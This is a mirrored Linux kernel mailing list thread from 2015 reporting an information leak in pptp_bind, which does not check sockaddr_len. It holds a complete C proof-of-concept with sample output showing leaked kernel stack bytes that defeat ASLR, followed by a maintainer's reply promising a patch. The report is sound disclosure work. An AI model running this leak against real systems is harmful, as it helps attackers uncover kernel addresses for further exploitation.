mirror of https://lore.kernel.org/lkml/
 help / color / mirror / Atom feed
* Information leak in pptp_bind
@ 2015-12-14 10:38 Dmitry Vyukov
  2015-12-14 22:44 ` Hannes Frederic Sowa
  0 siblings, 1 reply; 2+ messages in thread
From: Dmitry Vyukov @ 2015-12-14 10:38 UTC (permalink / raw)
  To: Dmitry Kozlov, netdev, LKML
  Cc: syzkaller, Kostya Serebryany, Alexander Potapenko, Dmitry Vyukov,
	edumazet, Sasha Levin, keescook, jln

Hello,

The following program leak various uninit garbage including kernel
addresses and whatever is on kernel stack, in particular defeating
ASLR. The issue is in pptp_bind which does not verify sockaddr_len

#include <sys/types.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <linux/in6.h>
#include <linux/socket.h>
#include <linux/if.h>
#include <linux/if_pppox.h>
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int main(void)
{
        struct sockaddr sa;
        unsigned len, i, try;
        int fd;

        for (try = 0; try < 5; try++) {
                fd = socket(AF_PPPOX, SOCK_RAW, PX_PROTO_PPTP);
                if (fd == -1)
                        return;
                memset(&sa, 0, sizeof(sa));
                bind(fd, &sa, 0);
                len = sizeof(sa);
                getsockname(fd, &sa, &len);
                for (i = 0; i < len; i++)
                        printf("%02x", ((unsigned char*)&sa)[i]);
                printf("\n");
        }
        return 0;
}

# ./a.out
1800020000004700c012833d00880000b002400000000000005eddc66d2b
1800020000004800408bf13a00880000b002400000000000005eddc66d2b
180002000000490080a5f13a00880000b002400000000000005eddc66d2b
1800020000004a00008ff13a00880000b002400000000000005eddc66d2b
1800020000004b008096f13a00880000b002400000000000005eddc66d2b

^ permalink raw reply	[flat|nested] 2+ messages in thread

* Re: Information leak in pptp_bind
  2015-12-14 10:38 Information leak in pptp_bind Dmitry Vyukov
@ 2015-12-14 22:44 ` Hannes Frederic Sowa
  0 siblings, 0 replies; 2+ messages in thread
From: Hannes Frederic Sowa @ 2015-12-14 22:44 UTC (permalink / raw)
  To: Dmitry Vyukov, Dmitry Kozlov, netdev, LKML
  Cc: syzkaller, Kostya Serebryany, Alexander Potapenko, Dmitry Vyukov,
	edumazet, Sasha Levin, keescook, jln

On 14.12.2015 11:38, Dmitry Vyukov wrote:
> The following program leak various uninit garbage including kernel
> addresses and whatever is on kernel stack, in particular defeating
> ASLR. The issue is in pptp_bind which does not verify sockaddr_len.

Thanks for the report!

I send out a patch soon.



^ permalink raw reply	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2015-12-14 22:45 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2015-12-14 10:38 Information leak in pptp_bind Dmitry Vyukov
2015-12-14 22:44 ` Hannes Frederic Sowa

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox

Powered by JetHome